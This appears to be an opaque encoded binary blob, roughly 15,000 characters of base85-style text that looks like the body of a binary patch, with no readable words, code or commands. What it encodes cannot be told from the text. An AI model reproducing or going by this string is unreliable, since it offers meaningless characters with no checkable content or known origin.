z|8#PvMX#_0Xj8MCI>B0GXjR`2nH-<2u1ja9a5-J=MO1nPK7-Px-nGdA%hrqvVABYhL~(<4F3GiWw>d{kV3tSr~NXsXShN^q>W6z3MG z{f|o2+xWC~#-;ck_Yq)W@f&yTn=CpS$Oz8E2MbbwLFdu+bHw6jo_`kt(*6S0mN&p9 z$A{OpbLWHHi6Y{XO>ah17Yq{@S*i99kT(VWe9!w2z0RMb{{eUS@HZq!5T1D>KLhMI zeKY;)zdRwYOx`XpxY(c2Bq342!f4>U8d$PgjD1{a{3ipMo|2oTMkJ{-Cn`1(ksCS> zwbXkEMQ-08BD)63lzF9r2Uj=pg{Ke=-)=E4hRxmuYBC6dm zQspWFpoh)o8hdkXy!V;9qxyd&E$lJBrqAsf(-{)uF%}6Be)_XE91e~n4A_{~j3u_} zgx06OJ>IGr7N>T&-J&3$qnW}~{C%vft@Wy^WKyTh9lqXX6w4+=Bc=u%^!ao3%g8s1 zu3kz0h#TLr=(3FF_y*7SQqs3&_~)iK>78u^5BdfJU=Ld41EY&VsI;e7KRro^#n$?O zK7Mh+5g|LVeV=gtOMO^>4K(JUOAbCE(%4qCNHf;*R8Er4M>pJcVVk7Xt#t{#lW1)s zkIe@7e$l7bvbq4!>GB`T{Mx^?W$_1eOLSqykx?%_PvqVb_KjZp&6Y7NC?|%m?^x2O ze~s2a13*QTpvcw}V|)Gxh6f={a6CQ4T>*T70nM!8+|c zdwpq{H};DW18L(*>+qR$G1E0;A3>a~cxE@;-=7K(s6{akbNIOPLUjc0$+3CV-+a>MdM5pC`&zOH9{h~uFz|NF;5MJr`mP?#-e`IC<4vr8`I$3xbG&{ax?Rz!cfn_WQyDcFsDY*N=F_|R z`K2V>jw?u6SRMwkXU2}}0*wj$p4|H(OZJYJA0DmXX?GcrSpI%o{w?6T+L^Nfe6(A8 zLTB+xi!fiB!C&RW0R>%R1DyWRfEJfOvi`B2d3amYZ24t*Jm5XC2HJV=?ao>RJRaOT z>|Fp5)O%h#Q{~byC$H2u4drYZ0~?Bs41!V7huaV`= zh&JJ?;1k2ZVYN)#OPAgUi@N0Yqn_ZXi;OWj&gplqYo~Er`@5L7X^r+lY673cs#9&Y zsHLjTUnlt^x1G5sHr%bh2Xw6;nvP-MUEuU1_{(widYcH#o@?6P0aU|TypNu5_3Pe` zK8kyUGhp`9H4T!N>p}_CSS#51Y6IMrVr^&I%k-e34QOV(ARYIvX&m={r1wFoH&NJH zA}ZQfLd3jmh}p8qo-ubVFNXll$^8WJn7mWq+ta14caHrR@TbW^p>1jR8-Ds!Q3O&Uzba<_iZxt4$rJ#Ysi}sh=dh(XF!%UP3imJ5H1xgJ zu(rvz4tKGD0*0JzK-^8&6fsQ3_n+S^pJud`f7~^XZhVIGwELu0?b4UVJ5)qP;N}v( z!HPO&F#|Vmqe%7!LY!K)vHv})LazLh?FkbmZ3_R4(f?5dnrx+=p2p?Uqs8sHU>V4r z6UiELL|+OWeZn^w1PViYgG_-0 zoIa_qwq5E#A_WCYqn2MsTyB~K+5t1B9qiEpTWk32oP<>=Zb|gGb;?`K@YbTf(gtTc z5i;;6{5Bp%e;a6pHNqJrYJ$}mM?ZZIzn1cz)0xcN!L&0-9uq%8e%qcwBx5km(T)V@WxR>ba9JV%{il{wW=+lnMDsLxbiH z*V)8bOL&p}S3h&q5#DpVGSn29t}WZLVa0`iVumI2MW@eCk}LwJ(Gtd0N*G&Lcl=JQ z2%COq;R7eFx6*Z&5Rdsye|tZB#Ot{<(1rA^ZH>PE-Um*e|LhvSqGTj;7Hq{!UlZ@2eq|H%Vn z==!>l9i=JcG((iBJ`u39rY;BG zhC2}!Jw~Kv3j5@7U+^wU{loRbxU6J3A!`xA&h zw>K!rimgO>-kH7kow{|kaDX&MX{4vB1nJ5xRs4aT`INUHvqX=+X%<2*em#Jp1k8_O?+f>bW=SO zK}x0f{`}+l#6g7{k>}$wU@UbUYVqf=A~CGSORwPc&Phr?P#i}A>(c_&X!7v9)N&Tp zG65O1UGyknHJs7iBMW3O1vcZZSKcq~iiu|~?)lFbN>ID&CXcywjHg=oMhvV7+psiE zDCp+}5=p5+IbV$9If7wJbiO72S;kyCS_n@XtJCIK8t3#uW`R1QOx?WsHoxx!r+P?B zE+M#<*5eOr{cOgLfgawIB{hdyp`o(1|dP4r(t%b^mHC zNacq^;Ujt@zHyasux}H2UNrWQ<$R0b9}M+O7a9#pA!Q>mn+SC|R)_Qwp}3svRcXeS zX?1In6@xiQ4SDC4754jJ)%LI^!rhHj&eFm`c;}3IZWi2*m*1>+8L@IgtlQ%r;1=-A zqrTlwRl^d__{x%ks1l7tN~P)Qw~YdU+22vw8H>c2KW}q|Z%@`~%Dcn!l=jXwz8z-o z$PBCVqlsB!Wy5!450~G!xkCX2dk}#$p{cLpjEhr$CGQY%U_Pxz8eC5o$P~=eJLQe3 zdfhoY;6V+fx@jIAbWOf$WVdw(KFW$@%T&s0#)8p)GYoqNb|3D{(&5CD==45-J{H7b zOV5Xo1|a;WTw!vCf~}ucA?Y-0DWt+@s%>5HEq zCTuXg4{)LcryHr2qTzHD<|zxN&nghVMM}ZIn3#eXC-d$2&CYZl4Mpm_{cS!EyQT*- ztgWR#%e@sfbXHcXTiQX)KrLfy05luu9UD|aTDpA>J8m?#T2=p)zM6h)!pHUE*tB=w z(7TwoRi9@qA6YJ4imR1KDJT%2(|!Zzic(JN3%X=;NE1 z8S$1qO64z(D%s+lc$f+os-4U$YnK?3{}^%w_EwnL@f6s)>PEZ*oV`QR`EIx0D8FJF!vAHe#2gOxUHd&K)2u*KXGD~a_Q=Q@Vnx{e#1W{FsabFU zm@71Vg;O@;fBhXLT;k~}`jsEz{EyJ$*zJOWxfm?mv|yKx?Ip7Oh7QA*wQx(jHN!i? z-g$j?_SGeGnQXQC?1&{(=Q&i~#R+?;|4%iMoopT5Y&dtnWiiQ!h}g82JzJ)QlE9Hz=70hgLRycF^@nI|Av9f$Iu zUG&VxmDYbEC|+%#9{nA)(Tfd!^KJBsW31yj&Q#mK{rS`=ad_K6=!s^x z5KZR>bbfAI6WDfWAXxL?_=oI1xn!F<+?8U285P!%vPpN~@6e$#{rPujDwjohSji)W3R@GElU zHOOrf{#CzSUb3&%>KMR=6;}Dr*TSv*-n!OrOSsbrW>gF@zVExb+!&_=Rc@!5))!hp+UZi$GAeUlqvbDRKU5*cg*$J)!}zm7bL|Dj)k)7r z;k@`H8+@=_VKc%@_wQ?;>fTqg4?chnEbPw%8eEWx-=DT@RpKXg2Na8196gdg8ysX*J3SJC5wY(l`CI|4Ddv zd`F5)ja!ruagc?s^fiMbQmPxbghkzn*lvcRuJ!wDciO*N#P90XzZgJ&#{id7u-MDi z%BspyFUkSRJM#v>pXhV{$}10_oBP}1i7mxjVQbG)$)Da6Y`Kp=ZU!lN*ISeebn1%( z|K8HhO``Z?p51eixW}ks4ku76^8odV-gs~;*`ju&pKlF+MMW0zMK;!BY>3amI6t30BMX&S6rw2V}!%gh~4@6dnNLCJI*TKgZ9*1M- zp4@c^ir>xxM9H%B?HO;yEO8cWx~5VE_hw&8Uiu?#*6OYV8A&xM3UNz*e~%ok@bkNS zkDtj@W%S0vYlVHH?ZaIPEMqg2iw@I*?lS(gyqYYmf|+x|o_Qk%#r#qxG+X*7Gn_2t z$;9ouqlNNkhd|=k7LoA_+aj#pDasNZY7R6N^ zHG%S4(OC~7uEM&=Y1iN>M+bC{f0%TQY|=D#I>#yMy35-#W|rA}6FSHxNW7vDO)p>< zu9{0D2fDYf!gT|fkZ z{;T+CGxS-B@%t6GC-O(9g`it!ek`UqXm^zqIvNOjM^O(rqUFf+4*o0dMtze zA%~TSm0ywPN!xd&diaoaL1KceK5@i6c`W!2+VuzqBOdzOdZR&*7mWnBO|HJS!5cl2 zlvE02ee2Cppt)SuQnW23yaH(w4aNs*6Rhhr@oZbX#g`ZX_Ar4KZ9Zjuj+y5pLj{Nc znmNnoP#eo*ap%My{&()c3I3F5S?2ORaGIeS4wcBS-z#Oc7oGM`GzI!2y=Hu$`;P{l%3D38Q;;XY1f!MxA85#OGkJeXJ7jeOI z!_w0K2^~O$ZkrG{^Uv~!6+3yYC7r`iy@u!gqZzM=P&Jlogn@@!>jq!zhMtHUhQ5kJ zVz>Z}WYSrG*=D=j`XRxv2CF$bjkyNr9w1_zZkE`^hMrFdq8ickA*y<)PKe6|TLb5< z!90IuB+ju^3}x1FNFb>&2Rye{_;LS)tg;-v$%>QRORx(#=kTdXWzB1<&~_hvcg?rY zWQ%@UFaCXy2UEth``oFQh^K}0qSYa5^x6A?wcbIBV_iY^k4f!N>f?p&_7)#kJe6+F znh)eJ1k zYutY^R1!h3ry*_geV>?KJc_20EefF7b7?-UOJS*(xNZ!?zX_?N+AEAC_XC#rEqyTC4qo93X zmzVWm>gsS5Q?`%vX1pw-=(uZ8Bds_hQry6J5hT!2MLnhSXcLzmIXmX0^pccQQSbPH zFaL>Cwy5H{3sXrkPi4HG(ANnuMG#`4`gjMyeYYt~TK^#0ZQmt1WldIM_35b1VROKe znGp|#;I3&O*fjKJ7-`)Yr+CuFt`PC@PvVOTD>+!!l0S`jM`k5^Ew&AXv` znY{0@=SkricQnASc&VcG$4(&Fyvo%&%+`J-JwUBxW)0W7fo}=V+fQnFukhtoG1*VNEi>>_0)Ig!taDg?Tg*Q z0f*d<6stniW4GdFqZ1e!ZvL;SYk6%Nw50cU6Eqjl+v>q*vLc+Mx$K4B0ZqkVH{GM5 zpa4;fpKlzYc8sX@SduNG9({;LQ@&Ft{v)O<6n6;+_hF9mC zYq%Z$>*UeB7#cYtb^;^0G2LLn;QD}*k~(7rMOW@2mbHnQJquyJoa&Ca`BIv(&}leU z2l%@a0!l)-8OE0O@r`cFsMBDo#Jq!XK7{!kN#(I!7Pw`%YTL(L$-Qeq*CCD%2+%Yq zV>40tpTe@?>W$a7RB^00|E+GGcgIz6=tEdDk!4vAaUxVFf1ek_2lXV`q$NM2J%0|2 zs7JX>_%Pp0h)^e=I@|${Ut@7CS|~jWdOlJ5BxW*;)XKzS^cLP7Yn%~3E(LrVZ6)zO z1`;%Lv9s&A1&wg6=W7yIQWch_=q%y&*CMHfjyo5OD>>bJ0zBAfK7s1v6jW`LLB4TI zv6=4Jf_m6;5leY>%6PSYM0g=t{%YxAU;xq%OnuTsc(kSB!QFgMLNbgBJ&Y=RWmPwn zktlF5*mo1o4;dzDrC*kT$2gYK-_($5_K?HW|I_OzjyLy9V*eLRnTKnq$f0}wb zVt+$EJ_gh`N$-tVvsszVJwPjKb%RAxfeTwMifb(%!&PlTLPzK@p6!!!=UM(=_mvPS_?1otz}| z7pddPjbnY{5&=_}sH^kMY|?}>*mfsXd`9XIau$r(&x%{U%Tnzb3udM2)MkuSuB99G zna?()mJO2h^3y7=R)~eQ=D_)VzT|MhSFpD;2 zZB%@M|uJs^jZ5X;~3?_bKk{yNA2t+oL8X@UwC*fjJDEd+^LGUS1w) zL3zh52I_KR{{=;;6?oZ!2M!Si6O%L%o$YzOeg4%F2BOwZhlM0~6PZnM+1Ku&`m=>^C7&P&>~HG_kLsb>S>c zFQ`N0QkdBH`5oVPO+ZrG5FF8yZIIn1Z17RWQd#8;U*5Rc6O)pWYDVSrs-YUPfszA8 zj}a+B*1={gxQ!Ge{o09Ie~;DVfDIRnpuVnBKg(H4o2P4`1syYC1SR(emo~poF6^h! zy)AN^2%$|8A8iyFQV4#m34NQihu_tLi3p+ya=QYr_!ta03U-FMbiO@tcE5@s;3VAi z`$je`sZsuDE)yO9J6}SCZ<3!lmxudWXU-zQ(SVtZbs+u;gA=yb7)$9tnob5XMtvEW zgmi|Mzn!%o3XF7|Hu1L5mKBS6rh(iXu}Phx(A>vBBJ_?l3-Zz{z3IKod}CIk0J4gx z*NCY`v5IBhWS(#o7)|D)Qh6UzL1)+eCx6NeLq7@ss7Z5MoIU_+=EF}M0y#N?DZr1c zx85pZ0F=PpGrZn_Y^l#@8A2eeQ!8Jdf$Qa$5{zUhDm=0-AlG)lPo(olL*MmF!p8a{ zNm+Lmm0_vV6ozVxz@@K&M>Ovk5MtpE1>RD>2kD+~)b0S2PX}Wyq2xWPp<0_Ul>Okg zx;H-djxfY&!u|&^l^Q7P2Qe@JmL_nwQ$bL841J!(VN8^G zdzbBf^-zJHiwul}04wte^9aa}{<+tKj~Y1qx+DBGfCu@$h6D`#yV4=LdYcB72MdCG zVfIdR=Tm(jcwt3j7i4dL?vDIk*8^tWq)GrY`*ENRN$agehsOn;Ab0E?-yD5el;mn2 zW1{+88%(i?i)sX_FaJpnF41fT}WoT-nIcMO0n54`69rAy$8-4@Xd1a3Q+F?Qi^bXnMT{Sz1$dL z+~fTQc`MBW4j%3wv*!U#bW2>QYYf<9;`YBCg&5%d73|X4XnvI^1!R>0jMn@H^)njn zg@V=AlsWG*Fu8dMQDchh3{y1S#mT)zEOIH@k7tJvtgFO5!Yj4%}s${-sOk%1l`o&qrOyzGIg2e?K z!K|BpvVk-l9K35C7{YgOadvjGEg)U{4dUn1H-T#I%>O`Jc$!sSQd#KA+zsoK=e-4= zW3Y#1C{;7g7QQ_x?sH(6fxSe8{i30T??7)yPBaC@H^HSr>1|9X1<~XT=N(F|D|}v9 zG4WiqG5TIuoPtJf&qhbmVPoQgEI^~fD+GG^o|M}1j}0T`hcn7v$!$YLj{G?YL}sHA z*UU5|?m528D?XGZd7AAVl_(w~_D|tK9ndD_q|jdyImD5!xw(0gzrOTQ?ma_R#i$>O z(4`Z?d98_rjn$!L(%Mmk6*4f1_i=B_j}3pB9{m_P6N7OG>UT|cDB_2L*)yMplGTC( zKbK#jP#FBG{z-RW$VXoIq9f}dqiZEghsw(ZjTv(vpRIvbK+1x|5zJPz1M|j4KA15G zK$^4jnx1wG6KJzAD!bh&1|7!kJS)Tcfy8kCFxBu^?acMIJ6(Hw?)78^lMe-j`qUyF zg{`Woi6^yWoak%~Yd8jgLXa}k%E8s`GT|!_ z+?XVWutg(3$JkWdbRTqV=jmQHw(QQ_`jA|YvW3uKQO=tY6>2*DrqwWglgc8a%s@Xu zMsxHp=$?~SXxKR~w55;lst&`I7j;5W0cbc>!eTC*lCO^w4nvdqrxOKLRs6^G8N(!8 zK(4mDOgt{2yP!uq$AJLpnP@zZ`(Oj+{xtqdXo2bqrH7gWz7`pAh{lOq7Ba#uK3|4J zLMa=QVS>ad>(R`|I$03rwucHXMDD=IuWP*1#rA>>jt@yi=Ibp+TjUe;Z@x&-Em##Q zOhQhDJmV&bxxAGx9?Dx)@bBLt=(775U3xN#>E$k!b8WTcPnKmFGyCrtrU#kY-#1NP zcw4-!eg}EW;vsWe|G`8!nk184CB6_FmK z>wcFWf4ok24;ecBDHB7nZkp3x#Xa`>ard>35a6^tS4sd|mKALa^Lgidpg?x$?t1_E zai{S2L4W;uCGyb6w)?%j)BI{`0`z)mcEH>)naU;i_`} zL*==W3*oo@_&BEi`Gt@zUv>*4R=myXkyPi&X&avk&9&-p3=cwCe@|4Ier1T~E=+S4 zrf7N@`!aE>yYSZRx~KjWnLhZcbCX@`{LY|zFxlZ;ssR2M_$+q@3_EUBKIPf}1v)o4 zuK`U$K$vhhE+_GN+&h2aVMgWn-mAYK=U(``G6(@MR0kTDxSqC3-sG&Y)tt?+d76=p z`krQA-k8f4GqAwD3!C5HKw976#Q|nCfF@T0arjFa%)c%L8-s-+F%XnaeZNl@wdoVd z+Aga^Eex@7O@xh_FB}lwq;(ZmsTowJcOW4zk4Q%H?mQ!e9$0*fRbheEW4ytv3C?1F zWKIU$TT@;Q%hos_dduno^B0iv;-a3Hj#Y@R?Q64wlwSW|bDVTL+4ouWPE(?IMYbWH z>^iVzUDXSywN>#A_`3*XgZPAcp02O=cSnbh;~vWlnPPkOvgHGjyn&tl+rvFH;aKpK z`<>GL`Rl^0VH}g6j}X}L=J2q(6-1Qt?w5Uka}*~`1^FHO*MC+H$guk6xWK*+Ve-Rd zH;8qzTXQ{8|BqGat_xWx<TRJhXI_RQvr=BSwBbl`;dL%Wx(K0w&f9O7^*)d6(SUS=cZY@TOf-*o8s!^`TUbMwyTqB{Tcy6hUbJg$V*fVY@Dzs~stbnF$vCWn5* zsa#nnHYU`B!F(>%kX4vPUzkQG+9_(b^WSM{sH-A5mq(=Gz_Vb>UFcw6Z;_wmsOUD_ z{p!I=+O41eFX^5I7#XfL$2wnrWG8jJ<#u7GJ@scj^OzDr_G(6h{4SfxJ{dM0k9TU=Q~XfD$xK z67WM20(TwKd4T$+AJaGNU{o(Pzi}+{pyok&`V%J9j#03^C0ig!yH?kBm_B(L@{ zC;i4^Pnd?6i<&t1^Pzhg{erS;3ocazA&ygyQ0U}UYEwVk$8VJD7*C_$f3VZ%wK=tffS1!=-5kV3$-Wu@ zU3%Y1D&9pcRhx&FR9SSY>6T29$S;j@dmDsA8>ZG`gj3gb6bXalPrT4sLR@V9RbZ6L z)}mt7>q*D>Mpx}p@LyJoa_yQA%{FqD758$ znU8qfyhmu6?W>)s{Ojn~Tq7o?$bRgWq0tKqt}!*uTF4d_;Y{S!S~ZH<<)*zd#~grL zf(RkIE|Y!G*pr^>5bMv%I*MitZsXx4`D3qiw0^4^(JZGB5_+>9k+W($KQ-7?@~C0+ zwNdEa2W_eEmdz`%T`2|iq_ePK@SBFUU`lh;F~rvHwgClXOQQKpwj^ZbA8n8AUS61O zmK}9%NN|@C!qCzm+cpfeyWj@t$O_SS@(ZB2>}JT+1Do(&>LU|nSXj~0r)&P5m{gHJ zYodvR3n!!^iI>t`ur{Tna)>0-NefjM()zkNNn&(fVlHKyIHbH_+;a-Z317Vraqh(Z zgSkscRIfw_k)=2yj9P57I|}%b{Z0QoBY#93z4=Uc2C!R$BJYGdb7CU_>&x^f(vOG{ zeJ&iG{)O5SI2e~3aId4Q>>ahlQ!rd^l&?&4QPkdG6d=Bs(;LYau{vXCPSIa~yApz^@3pT&SC`n|YB8DxiS4p?~Ij(IljDUTe;b}hMW)9%}(2pjwc>s16@mW0m^^j1z~Mro;^qg z4Di>BeqDO13H}SN;k8MPqkOhRHG)sojYSui)pashdL^Y{0DQgvS z|56gQ-G=kfFv{BzEviLk#9FJwAdIemT0a+dNd-sVf^4sP`E{khx)ZZR7M~z{GwtxR zpTE?YI!iEx&`lOJn91VUS^ulg9yP8&A!UF6@QR$taNu0}M8~Q20Ugjfq#0z&NyS(d|%6kH= z@$=if#eMrAqxF1bnZgz$a$s~eXiaQT>k%g8(@?^OVmFc9q3|RQ@47-ZUrF*&p*hI? z?HVC)uy_5TG4)SLqC1o`2a9+HWc5&KYCC%$w5Y4o@x_=X6)-0o%~KC%0qcrh9^i2% zw-Q*{9-n~kb^Y~YS z9LR&L$Mz1ZPq>|Pcsg`2mxT7zkq+Oo^S-t5I?-x&xLxUQJ&MUB#0Du6=IT6BZjBJ` z&wLJMJX4gKi~1fvJcj?66R;p{I*9dxPMfC$9a3ugyg)JP7wnk`n?5l+_w5 z$2e|?Ku6olD3M!4hER%oh$C-lk)Lz_*+;L#ZRnZD6@K=BXvRICSHq~?0%R?7I+&fZ zlF@o>V8ROV5|ebW^!Iu`m67QaD`XwP;eO_t2L+`OCR+|l`1P&l6KP>^(ainJA$<$Z z<~7lfXd|>v6n=p`c$vB#Xm{76=>qIx0)%VHKVn^>j^;3rzOyZX-dfy_7B_-#sN&qS z!-NE_XERE|@2Cl{@47^7i@q9)Wvx6iOG!Rbw#FM5nrCxxVD(BiTg(?qde;|0*JtAT z`KGx!j~zJ({sgT8ao9)KagoM0w5a0_E1AZZzQVb4+jgTrck!oNJicw{S5sg1nU_&W z|766r+(K5$Bh4!~JRH?RTS_D%r*{S%`6)v6inkWwZC5Y03M|7dQ=k^Z^#`!G#YGp- zJJWa&kbEB*h+fuc6>G2J_z{_0QG6L!OB~mL zK`}ThY9&uTCvUehImF@ngV*3gR!tvkT+jDtu|8jqG+w4L&iNc*9s3dEl|1%3SNTRd zoEkQ5;~H`#zwb;~D*bD0|DOsKT}ll#)hLkd`i`Te_u@k}l~kX$GacyQCXLN^+!2y1P@l z8HU+seBbX|>(q~P{_G!n@vP0v?7g4+zV0iqM*a}h0H=}yg@c}77&UI^n*=d-dm{O% z7YuX{&kv7*+ePKLLuS;+{2>21X^@|K*apOTV&({o^)p|o@>H(p$X@ATT-|$iKNY<3 z2y`}IkjLf?rr75_g2wl6o2Z}U;|0}m9nWZ)@&7y*wcov|SUl6Gd8uE>bbc1f@}?`J zr?GdB0x3q~CWJA)vI5spe7A`}NA8SebePQ1ehM{K>zinVAWl7t>6>5-4~E|kzP5aS zq9p4wsm?5C;>x^?g32~|-bj1q2B!Q}?K|g+%%Q~uKPTc(gL&x#~r|Xy#ux1Is z{sZu67B=DoycRYA92g+P1dS82(CK@d==y#KLCtzqXLRrL>UfJv37Iu5eq%b#tA59! zW)|X`(Zl*!s+Ipa=o-dTS_Z3?*Aias`*)~_@ z74Ylpu!&U==${Q?Er>RZsq5@j>lNtnjp=V}&rPvde=+gH=Og=EB$-!)>Z4e4Ig1A> zqBW+1fwK;rS%CbwETFw}g%2jq771{?(cTg1n7+%mEe9_GAl*y27b9Fydr$%$c?8I( z`3}TaUU)tDuHS$gYVzR8jut?G84NTrIP*Z>W!!NtPM2am@wO@#m{AAS1K$N7z! z{Rr3?5Li^oawgZRA-xp6%;-^}?d4w_Gv{$W^%L@TFhhHd!GGM;z;S^8bw2B`;1gO= zQoUJ17@%~uk<$u_d~mjdr8_MQfs`Ig1Ori==iE9Nr>_g%qMTqm2q(sCn~yCAs*FWw zCY1zwaAXbZOad;*ez&h(Ufh6N)-(=5?T))(61a_&n=j;c2{n^&H4G7IV?x*YsxMVd zoRBMjHyodn$=8_qw43*bTsMN6K_OuJu^B11LWHbjjJ1_Ks0%;Dw-bs6YcQW|2OHS-D_!W)WdtqfY z90DChk?k$zZ$q%-PjCehlBp;helN-`+#g2Oe!^n6(+xW5(*ZG4{iO7LAxZR3KckJ$ zHOQk-F|AjD`@4;R*X13@OVsYsc>&?rqt3+5Y&x+dbX5B_VFBzYMNO??p^|Bqtiy2Z zIF5EU46oNJv$RvEF$EI@c+yIanKWFVs5#CCe}&I4QU6sriv8Vfhu1)Xo&AcayN$8y zJ;tT{pr??8j_W6H!)(4S-81e2!mS}X!vF{j<@MMiW{)w_1};@S9fSa?ija1)9$mwU z@;85PY0_#MF{tk1R6CO4;?$6})ZEERrT#Mc}S56mR@y%7M@vdf#kD0r^7u>4U?;_nAoZ#<% z8}i1n`p}q%9A{!Al@18KJs1cPuvHG4!7byp|1QgsSP*~mo4SaNf16E)G5G5>R?flK z=J>9>H@MU6!YF;{$KBh#I2k@$@%|Y+dTtSC)pNB4dz*?UI|S)E78tyDVA|)6)obxa zujME}-rCu3bQkn#WWtaxodA%pa~#4wDSBocr|S5lS3 z%#lue64tMhtZ3W0=nALdMILvY+$%DDzBuXr73=;X1h#;q95XK~6Rsx1;}6bh*Sp!4 zXNmjA<%6@?(S_Xr$qK0I34sIxR6WFxr*(sBi=SH(yj}}zr_KX!-@xSk>T31@zK8fd zsN#R$C7?#EO89~Y!1H}20Q_45#)B?2^nk42lX9S1+Qr1lhDTja8M8b(!!AvPPsj6m zfcO6aqVu;#TB*a;r$Fyc%_Q=!2MM87y0r>{UKwR8l2i5$|2J-IK`^z72k~Tai(d6c5-V~#7 zg3FNGle3g??ae0H)Q@{xCMcs@7P?!h=yz)I0k|=Mc;JoTG^-FI@9jdLC(9ys5$GAK z<|!p)ek$80q*2oLWIDV22(fAuZIN48hUyqGBhzyQ?Uy^HKw(edU)0`jr~eCsOITy3 zS&g75G$P&BUB8rWP``Hu7lg~d3(OiL+ARC~a%dnB`$_c*Sw8~Y+FhVEg%&ve^#2Zn zn-6eEOW5y>Uifu12M63Nnx?*XKJa%w(3>VG71GPy*+UIs1 zL3Gj9M`n7T#|j=;v|^|n3d#d>T{5Dqkhkbad_2Mx0$E&G4>Fxl*XaCRruCpE2sgP3}h1R1JL0Fg9 z^u6dE_H@=uLx4R{3X&jqRAj%FGXpBgr;@gi=ap6;uY${M^ew(Q!p%#VpfgyM0u6nw z*0GPw{u`am-zFBbnQ;TrRxi=Q8C!)*g%Z7G3kcgDiq1nfI6q_TG^y3X4Z`Z`_m&pB zCOc1}sf>36eDgFsZ#;Fr>O>!W?&TM+-c#xGBL94Z^af>R)Nt8!*oCHosQ9Wx`D^+L&Im2y|=ud6lo9b%zpwss+>1lMu(uYNO|b0dC1nJAVo z)NkAOj4UQV@E&Sm4e%h?o?1X4B+I=^i>jp6pn5{$N#Gq4ietJDDk|Gp%U^V}2*=N9 z9cFdlN_@AyymzdwwrXIk9EJt`%5btdJRHU6x1yVI16Qn(JS=*!}=U9-;Tpx(4 zjHK}?PQAYM6|9$S6OjTB+(nKhA&5tv?@692-AK|9%&-|f=nCEf^vR_3Z)*O_OeZ>fKO2cruQ3=T8mj9 zjtD&O>$UY6ldJUK;T<%B?Yr5)#@%~!<7rEzlO@4&0kW|ag|>2y3!PtBDnC_P1u)FK zHFC{jFS_XUQ`(aVdPwF-r?AgeE9ZVm&pI-Z)kp;1!)djc6}=Ph5Eh-;eF5yPhx-=yA##tFfAX(-FWLftTyy@t8jE)x5?>kRFvj;tu-MD^6FL}AP7VaDbtB@f589Zwz(*{#rP+a zRfQm@;T^}(-p&Qy+~Ih2fNq3xZgqL54un#Rp3F%b&*;`u@dY<)E%P%mKVj-yr@C(n zxl`32*{h~La{CVa^qv>A*Z5_cZ@MRYEMgnX^=yLuH^}9sddRUFOPy-hd(v1}2_Fa( zYb!itQ9y|HXP&y^U19doX9oiso%4<2L6gJ>RW|lTXCx7uTP8__Uj#=+RQp%|##WtT zsEst?YTU_hCz#l`xb*s73>C+Tu49p}?fhU^9ox&fzf2zFYb7r@6u(`QM~i@g_kMu? zLK$qX`UU+ClYr}|z)IHnE%E*k`byMxzfSgvZ-hoSM?QjKloH!cBYz8?zR%f}cyjt{ zsOo7~*mL_WCXgkRR@}&H6zAAjo<+1Zo{a6L$l!<#u%?8))kX16AYy7DA}tC*4VI)g z9qo3nUm!p?n9usmXWm8t3ffF2evbaxI(qK*2L;m6zfz!BD3kq>=ccuoOtG2q=2KxO zb5zK5p}HVL)5oUI#i;5(RYl&b&Gr8MQ04Q9?#4cok*>ghdnrryn}BkNOMV_ws#sY%;j5J{)|f zQ>jXSI%Uyc_K1rf0IHnjvZ@X`uH5@!hR0sbz1~lk1~8HBquqye=^l>?p3yH*!U+t@ z(b!og*MbnvzM&KoESp=ITtwABQf%XXYf1!EmV=FCT`9xl@vx*4`$Pfa31L6=FU^)` zlDj;#1z1*J?FyIl;CMl(C7-VK+K+ynIC)J8h7Y%Vufkv4qMIjZugE}Cxt-nSnw85V zE!A}1z3lQLE+FTv(ci!2Pg1$ZOy^v?rHcAc=F;L)wXnk)XNii!O60-PrL%xAx z<~IqDvP7cVi3RKrl^c}|l~nYk&XX&Tk~Zit z=fyBCTuFWLbmiVB_3;GRNyq==BYR1^2J0(FEe`HLEAgsfwKhMnI6hCI{Ra9tZIuXD;6t$Wm<=l zU2dPCfDJ6TaBQadY&$_VNd_&5%?g*zakiq_&SNY#Pa$-cP`G9#(|c>H0SLR=KKAOw`L8C z1JDF7;Qe02ua}pRDh`Y*Wd}4=LNsKWLu8@miNug()8gNy2@~cJx5P<0n&y+6 z`59dPywrY2@W&^%^|%pe&ZLm5h@{pb+03sxJglH`GOVd=QQO927AsX*ghTcaj|I0A zcnE9H<(rNsYX8gN#68ydqw)+hrb}qiM*d+Q$W+$_QaES#A|u2;9>cpg_*ZjJ`{7H2 zx!rM&{$q6CO6haKi>C}c{fK}(h@37twRh9;gM1t0Aw;_>9#mYVrtHy#*{@4#*AYcb zcy!!dP1@mc5`vglIB5J@Fk|+S?hine+K5^U&-PJ!zGCWf=63#h9?MHWr0V|!=6qck zxb62PDEU3p39g1wN3zx|ad&yC-myMMJBmqX2d%&4Ra68^+=$G3APMJ(Y3JbsxeF$O zz!O#G^mb`+)=YD6f>RRsJElu}FrZ19`QYeOxMSiX?Iq>$s=}~t65W7G@-HG|hLQF6 ztXpE-3)R?Iynz>?L7B9}m^7uMe27b@OkHSVEoYDAYC`kAg!t5-Y&ZHhxqI2a>ab9F`!HBux52PZ?wPKuU=s_HF#f6^b zD=L*4xsjt^rz3mfpCZK{jTP{b|El!}KmF3V(U8siz*JUXC~VP->!r{h%UC}ET|BfM z&FjLCXoRaXos&?_nw^!7A7D2bYA>1-!!dBk`v$(0U`33hTgN)bIluPFutY$=SZsm_ zE>lN}syGWe)J3S7@w|L@u~q)!bvM#a{kPeoULA-o7$bNAiAJ=`&kloYm44V<`m&pE}@ zY2)~e3;-;lF&2)Jurfw+RO@z?V#L^~aBJ^`m^fOvLw!kyRp_k7-lqJd>{kgS(uxZn zohzP3Jh3{k%$wl8&wG(P6~;Um<;`HLoPt=MM%OU@@yP+wWkG3jYnvTx z$D9JJtE$vj@2p(|_}9lLW>;EG<EI&pXl3&s{^xd=yXA_BVqA2a69B@}LyWb#i%&9UBLV*w~_aS6=?O zfq|(-L9+jkCk0)@#{>!v9*9TZz((@=mZ;M&$;V-BDd{eE2LntGM*-gmt1LuTdDCw6&b~Cd;|EwX`5X${Er*DJb-(D4eMR( zrL>79aBg_aQ4Fa1!C6=YvU2hN_y^eyu6$o#abmm7Up6oZgXvyE zbuE_Gq&O4r#IStjcPI*wZ+a2sX+ZvAzE@|{;eF0mn6EZMW_x(8F) z0Sm`1_p8z(ipzJoCa$Z9wts^=|N1-Jx_)nd`if&<_hsgCxb)8cP2L~W(i&mC3L@JS zIe`SGbop$35=*9n9fDRZH~}{bGf44KtqISA*0(<^-T#Uk^=k>UMaHt8!R5SEIC>G4 